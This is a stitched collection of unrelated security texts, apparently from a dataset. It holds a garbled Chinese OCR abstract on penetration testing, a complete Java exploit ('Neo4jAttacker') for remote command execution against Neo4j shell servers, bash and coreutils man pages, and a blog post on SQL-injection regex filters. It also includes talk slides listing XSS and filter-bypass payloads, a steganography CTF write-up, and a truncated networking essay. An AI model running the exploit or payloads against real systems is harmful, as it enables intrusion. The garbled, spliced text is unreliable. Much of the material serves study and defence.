ｔｙ   ｐ ｒｅ ｖｅ ｎｔ ｉ ｖｅ  ｍｅ ａｓｕ ｒｅ   摘 要 渗透 测 试技术 通过模拟 真 实 的 攻 击 来对 网 络 系 统进行全 面 的 安 全 审 查  并给 出 漏 洞 或 不 恰   当 配 置 的修复 建议 作为 整 个渗透 测 试 生命周 期 的 第 １ 阶段  信 息 搜 集 的 任务 是尽 可能 多 地搜 集 到   有 关 目 标 的 详 细 信息  它 在很大程度上 决 定 了 一 次渗透 测 试 的 成 功 与 否  分 块研 究 了 信息 搜 集 阶段   中 所 用 到 的 各种方 法 与 技术  利 用 Ｋａ ｌ ｉ  Ｌ ｉｎｕｘ 中 提供 的 工 具 进行 了 深入 的 实 战操作  最后 总 结 归 纳   了 本 阶段 中 常 见的 漏 洞 并提 出 了 较 为 完 善 的 防 范 措施    关键 词 渗透 测 试  信 息 搜 集  Ｋ ａｌ ｉ Ｌ ｉｎｕ ｘ  漏 洞  防 范 措施   中 图 法分类号 ＴＰ ３ ０ １  ４   渗 透测试  ｐ ｅ ｎｅ ｔ ｒａ ｔｉ ｏｎ  ｔｅ ｓ ｔ  １ ２  是 一 种 通过模 种安全业界 比 较流 行 的方法体系 标准  ３   各体 系   拟 恶意攻击者 的 技术与 方法  挫败 目 标系 统安全 标准之 间虽 略有 差异  但均 将 一个完整 的 渗 透测   控制 措施  取得访问 控制权  并发现具备业务影 响 试分为若干 个前后承接  互有关联 的 几个阶段  首   后果安全隐 患 的 一种 安全测 试与 评估方法  渗 透 当 其冲 的第 １ 阶段便是对 目 标


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import java.io.Serializable; import java.rmi.Naming; import sun.rmi.registry.RegistryImpl_Stub; import org.neo4j.shell.ShellServer; public class Neo4jAttacker { public static String TARGET_BINDING = "shell"; public static void main(String[] args) throws Exception { if (args.length != 2) { System.out.println("Usage: java -jar Neo4jAttacker.jar [target] [command]" + "\nExample: java -jar Neo4jAttacker.jar rmi://127.0.0.1:1337 \"touch /tmp/success\""); System.exit(1); } boolean validBinding = checkBinding(TARGET_BINDING, args[0]); if (!validBinding) { System.out.println("[-] No valid binding found, shell server may not be listening. Exiting"); System.exit(2); } System.out.println("[+] Found valid binding, proceeding to exploit"); ShellServer server = (ShellServer) Naming.lookup(args[0] + "/" + TARGET_BINDING); Object payload = Payload.getObject(args[1]); //Here server.shutdown may also be callable without auth, just in case the exploit fails and you just want to turn the thing off try { server.setSessionVariable(newClientId(), "anything_here", payload); } catch (Exception UnmarshalException ) { System.out.println("[+] Caught an unmarshalled exception, this is expected."); System.out.println(UnmarshalException.getMessage()); } System.out.println("[+] Exploit completed"); } public static boolean checkBinding(String bindingToCheck, String targetToCheck) { System.out.println("Trying to enumerate server bindings: "); try { RegistryImpl_Stub stub = (RegistryImpl_Stub) Naming.lookup(targetToCheck); for (String element : stub.list()) { System.out.println("Found binding: " + element); if (element.equalsIgnoreCase(bindingToCheck)) return true; } return false; } catch (Exception ex) { return false; } } public static Serializable newClientId() { return Integer.valueOf(1); } }


Instruction: 请分析这段安全相关的文本内容

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test === 执行条件表达式 ## 概要 ```shell test [expr] ``` ## 主要用途 - 执行条件表达式 ## 参数 ### 文件操作符 ```shell -a FILE 如果文件存在则为true -b FILE 如果文件是块特殊的则为true -c FILE 如果文件是特殊字符则为true -d FILE 如果文件是目录则为true -e FILE 如果文件存在则为true -f FILE 如果文件存在并且是常规文件则为true -g FILE 如果文件是set-group-id则为true -h FILE 如果文件是符号链接则为true -L FILE 如果文件是符号链接则为true -k FILE 如果文件的粘滞位sticky设置了则为true -p FILE 如果文件是命名管道则为true -r FILE 如果您可以读取文件则为true -s FILE 如果文件存在且不为空则为true -S FILE 如果文件是套接字则为true -t FD 如果在终端上打开FD则为True -u FILE 如果文件是set-user-id则为true -w FILE 如果文件可写则为true -x FILE 如果您可以执行文件则为true -O FILE 如果文件有效地归您所有则为true -G FILE 如果文件有效地归您的组所有则为true -N FILE 如果文件自上次读取以来已被修改则为true FILE1 -nt FILE2 根据修改日期如果 file1 比 file2 新则为true FILE1 -ot FILE2 根据修改日期如果 file1 比 file2 旧则为true FILE1 -ef FILE2 如果 file1 为 file2 的硬链接则为true ``` ### 字符串运算符 ```shell -z STRING 如果字符串为空则为true -n STRING 如果字符串不为空则为true STRING 如果字符串不为空则为true STRING1 = STRING2 如果字符串相等则为true STRING1 = STRING2 如果字符串不相等则为true STRING1 < STRING2 如果 STRING1 的字典排序在 STRING2 之前则为true STRING1 > STRING2 如果 STRING1 在字典排序在 STRING2 之后则为true ``` ### 其他运算符 ```shell -o OPTION 如果启用了shell选项OPTION则为true -v VAR 如果设置了shell变量VAR则为true -R VAR 如果设置了shell变量VAR并且是变量引用则为true EXPR 如果expr为假则为true EXPR1 -a EXPR2 如果expr1和expr2都为true则为true EXPR1 -o EXPR2 如果expr1或expr2为true则为true arg1 OP arg2 算术表达式测试 OP是 -eq-ne-lt-le-gt-ge 中的一个算术表达式为真时返回true ``` ## 返回值 如果表达式执行结果为成功时返回0当表达式执行结果为失败或给出非法参数时返回1 ## 例子 ```shell # 执行条件表达式并显示返回值 [root@pc root]$ test ! "abc" == 123; echo $? 0 # 等价形式注意方括号 [ 后面的空格以及方括号 ] 前面的空格 [root@pc root]$ [ ! "abc" == 123 ]; echo $? 0 [root@pc root]$ [[ ! "abc" == 123 ]]; echo $? 0 ``` ### 注意 1. 该命令等价于 `[` 2. 编写 bash 条件表达式可用内建命令 `test` `[` 组合命令 `[[` > - 关于条件表达式可以查看[这里](http://www.gnu.org/software/bash/manual/html_node/Bash-Conditional-Expressions.html#Bash-Conditional-Expressions) > - 关于内建命令的索引可以查看[这里](http://www.gnu.org/software/bash/manual/html_node/Builtin-Index.html#Builtin-Index) > - 关于组合命令的索引可以查看[这里](http://www.gnu.org/software/bash/manual/html_node/Reserved-Word-Index.html#Reserved-Word-Index) 3. 该命


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TRUE 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 true \- 成功地什么都不做 .SH 概述 \fBfalse\fP [\fI\,忽略命令行参数\/\fP] .br \fBtrue\fP \fI\,选项\/\fP .SH 描述 .\" Add any additional description here .PP 以表示成功的状态值退出 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 注意您的 shell 可能内置了自己的 true 程序版本它通常会覆盖这里所提及的相应版本请查阅您的 shell 文档获知它所支持的选项 .SH 作者 由 Jim Meyering 编写 .SH 报告错误 GNU coreutils 的在线帮助 <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见 <https://www.gnu.org/software/coreutils/true> .br 或者在本地使用 info \(aq(coreutils) true invocation\(aq


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最近忍者师傅因为某件事情寝食不安所以给他写篇星球文安抚他寂寞的心灵 https://my.oschina.net/9199771/blog/5085337 书接上文之前提到我们可以用java版的libinjection进行sql注入防护 那么我今天花了一天的时间在sqlmap的level=5 和 risk=3的情况下对拼接的sql进行安全测试本文不涵盖tamper否则本文的内容会异常复杂 在试验过程中我发现其实很多的报错情况以及一些sql报错可以看到一些 libinjection 没有对应防护策略的端倪 上文中提到了GTID_SUBSET注入问题 testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' 其实还有一个JSON_KEYS注入问题 testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' 除此之外我们还能发现利用存储过程sleep函数SELECT CASE WHEN等绕过 libinjection语义策略的问题 所以我在上文的基础上经过了反复的试验得出了在语义检查前使用正则表达式进行安全防护的一些注意要点其中我们要注意 rasp 默认阻断sql 报错的请求 以下正则均来自于modsecurity的内置正则 @RequestMapping("list5") public User getList5(String name) { if (name == null) { name = "dato"; } String pattern = "\\W{4}"; if(Pattern.compile(pattern).matcher(name).find()){ // 很有用的规则阻断四个连续的特殊字符能拦截很多明显的payload return null; } pattern = "((?:[~!@#$%&*()\\-+={}\\[\\]|:;\"'`<>][~!@#$%&*()\\-+={}\\[\\]|:;\"'`<>]*?){6})"; if(Pattern.matches(pattern, name)) { // 一个变量超过6个特殊字符就很可能是sql注入 return null; } pattern = "(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?,.*?\\))"; if(Pattern.compile(pattern).matcher(name).find()){ // 这条可以不加入因为rasp或常见的数据库中间件都阻断了sleepbenchmark等常见的恶意函数这里加入的原因是语义引擎拦截sleep注入时不全面 // 这条语句是存在 bypass 的建议不用使用正则拦截本文是为了演示,所以增加该语句 return null; } pattern = "(?i:(?:create\\s+(?:procedure|function)\\s*?\\w+\\s*?\\(\\s*?\\)\\s*?-|;\\s*?(?:declare|open)\\s+[\\w-]+|procedure\ if(Pattern.compile(pattern).matcher(name).find()){ // 这条可以不加入不少工作场景中的数据库已不支持存储过程这里加入的原因是语义引擎拦截对 procedure analyse 注入基本拦截不到 // 这条语句是存在 bypass 的建议不用使用正则拦截本文是为了演示,所以增加该语句 return null; } if(SQLParse.isSQLi(name)){ return null; } // 执行sql select * from user where name='${name}' 除了上文提到的在rasp中内置语义检测的思路其实今天我还发现能将安全过滤做到fastjson之中也就是对用户输入数据进行自动化的处理 那我们如何将该思路进行拓展呢 参考以上代码我们可以修改fastjson的源码对反序列化数据的 parse parseObject parseArray 方法进行重写将数据输入进行过滤 这种解决思路主要针对安全编码能力普遍很弱的团队而执行力强的团队可以很好的使用预编译避免sql注入 也就是利用将安全过滤嵌入到每一个变量中而不是每一次http请求中利用这种思路 防止攻击者利用各种编码手段导致的sql注入绕过后续还能增加xss的防护策略 降低整体


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Smart Contract Hacking Konstantinos Karagiannis CTO, Security Consulting, BT Americas @KonstantHacker when transactions arent enough  The key component is this idea of a Turing- complete blockchain  --Vitalik Buterin meowputting that computing to use smart contracts billions, or just millions, of reasons problem isnt going away Solidity dev tools  .sol files > bytecode > blockchain  Atom with plugins:  language-ethereum  etheratom  Remix: browser based oyente and Manticore MAIAN basic methodology  Interview devs  Review .sol file  Try compiling  Dissect code flow  Run oyente (cross fingers)  Run Manticore  Run MAIAN  Manually check for following vulns reentrancy leave off the first re- for savings reentrancy (and irony) in the dao code default public  Parity wallet hack initWallet execute Parity multisig wallet hack 2 Parity 2 transactions not going with the (over)flow 2256 -1 unchecked send in king of the ether unchecked send gas limits withdraw dont send withdrawn not sent encryption transaction-ordering dependence transaction-ordering dependence call-stack depth limit variable or function ambiguity odds and ends  Timestamp dependence  Business logic flaws  Separating public/private data things might be getting better? keep in touch @KonstantHacker


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# Random Noise (staganography) In this challenge, we're given a file that is in fact 2 pngs: ``` [michal@Bobik] [/dev/ttys004] [~/Desktop]> binwalk final.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 799 x 397, 8-bit colormap, non-interlaced 821 0x335 Zlib compressed data, default compression 3360 0xD20 PNG image, 799 x 397, 8-bit/color RGBA, non-interlaced 3401 0xD49 Zlib compressed data, default compression ``` They both contain clues essential to the solution of the challange: The first image contains some data on the lowest bits of each color of the upper row: ![lsb](lsb.png) Which we can extract using a simple python script: ``` python def chunks(l, n): """Yield successive n-sized chunks from l.""" for i in range(0, len(l), n): yield l[i:i + n] with open("lsb.pnm") as f: dots = f.read().split("\n") pixels = chunks(dots, 3) data = "" for pix in list(pixels)[:-1]: pix = map(int, pix) r, g, b = pix data += str(r&1) data = map(lambda x:chr(int(x,2)), chunks(data, 8)) print(''.join(data)) ``` ``` [michal@Bobik] [/dev/ttys004] [~/Desktop]> python parse_lsb.py key for vigenere cipher: THISKEYCANTBEGUESSED (not the flag) ``` Let's move on to the second picture: ![second](second.png) We actually spent quite a while on this stage but finally came up with a good guess: let's sort the pixels by colors, if they in fact random the distribution should be quite equal, right? ![sorted](sorted.png) Some weird anomalies, let's filter theese out in the original image: ![second_ans](second_ans.png) Bingo!, it's [a morse](https://i.pinimg.com/originals/f8/9d/35/f89d3592cc9c024df2e003f0468e5c85.jpg) `WSIYSWFGYLHVNAMXKSZHWUMG` If we now decipher it using the vigenre password we get: `HEYYOUJUSTSAVEDNEO`


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masSEXploitation The Rook http://ppdhuluperak.gov.my Defaced!  and the next day.... PHPNuke.org too!? Eleonore Exploit Pack.  What I cannot create, I do not understand.  Richard Feynman Why? Overview Layers of security. --Unkown Complexity is the worst enemy of security. --Bruce Schneier ManageEngine Firewall Analyzer 5  CSRF  Execute SQL quires (Not injection)  Create a new administrative account  XSS  The results from a sql query  SELECT <script>alert(/xss/)</script> Profense Web Application Firewall  "Defenses against all OWASP Top Ten vulnerabilities"  CSRF - CVE-2009-0468  Proxy for MITM  Configuration changes  Shutdown the machine (DoS)  Reflective XSS - CVE-2009-0467 The PHP-Nuke Exploit (Aug 2009)  PHP-Nuke 8.1.35  (User account Required!)  SQL Injection  Get admin  Broken admin  Path disclosure  Filter Bypass  Another sql injection  Local File Include (Nov 2004)  PHP-Nuke 7.0  SQL Injection  Get admin  Broken admin  Enable phpBB  Filter Bypass  Eval() The PHP-Nuke Exploit The PHP-Nuke Exploit The PHP-Nuke Exploit  (OWASP A1) SQL Injection  (OWASP A3) Broken Authentication  (CWE-200) Information Exposure  (CWE-436) Filter Bypass  (OWASP A1) SQL Injection (Again!)  (CWE-98) Local File Include (LFI) The PHP-Nuke Exploit The PHP-Nuke Exploit  (OWASP A1) SQL Injection  (OWASP A3) Broken Authentication  (CWE-200) Information Exposure  (CWE-436) Filter Bypass  (OWASP A1) SQL Injection (Again!)  (CWE-98) Local File Include (LFI) DEMO! Fruit Analogy PHP-Nuke Exploit  OWASP A1: Injection  SQL Injection in the Journal module to get administrative credentials PHP-Nuke Exploit  OWASP A3: Broken Authentication and Session Management      Shortcut to admin privileges PHP-Nuke Exploit  PHP-Nuke Login:  Secure Login: Overview  PoC Exploit: PHPSecInfo Rocks! Demo!  Why 2 sql injection exploits? (CWE-436)Filter Bypass  '%20union%20'  '*/union/*'  ' union ' (CWE-436)Filter Bypass  '%20union%20'  '*/union/*'  ' union ' PHPMyAdmin CSRF+SQLi=RCE (CVE-2008-5621) PHP-Nuke Exploit


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SECURITY 1 Rate-limiting State The edge of the Internet is an unruly place Paul Vixie, Farsight Security By design, the Internet core is stupid, and the edge is smart. This design decision has enabled the Internets wildcat growth, since without complexity the core can grow at the speed of demand. On the downside, the decision to put all smartness at the edge means were at the mercy of scale when it comes to the quality of the Internets aggregate trafﬁc load. Not all device and software builders have the skillsand the quality assurance budgetsthat something the size of the Internet deserves. Furthermore, the resiliency of the Internet means that a device or program that gets something importantly wrong about Internet communication stands a pretty good chance of working well enough in spite of its failings. Witness the hundreds of millions of CPE (customer-premises equipment) boxes with literally too much memory for buffering packets. As Jim Gettys and Dave Taht have been demonstrating in recent years, more is not better when it comes to packet memory.1 Wireless networks in homes and coffee shops and businesses all degrade shockingly when the trafﬁc load increases. Rather than the fair-share scheduling we expect, where N network ﬂows will each get roughly 1/Nth of the available bandwidth, network ﬂows end up in quicksand where they each get 1/(N2) of the available bandwidth. This isnt because CPE designers are incompetent; rather, its because the Internet is a big place with a lot of subtle interactions that depend on every device and software designer having the samelargely undocumentedassumptions. Witness the endless stream of patches and vulnerability announcements from the vendors of literally every smartphone, laptop, or desktop operating system and application. Bad guys have the time, skills, and motivation to study edge devices for weaknesses, and they are ﬁnding as many weaknesses as they need to inject malicious code into our precious devices where they can t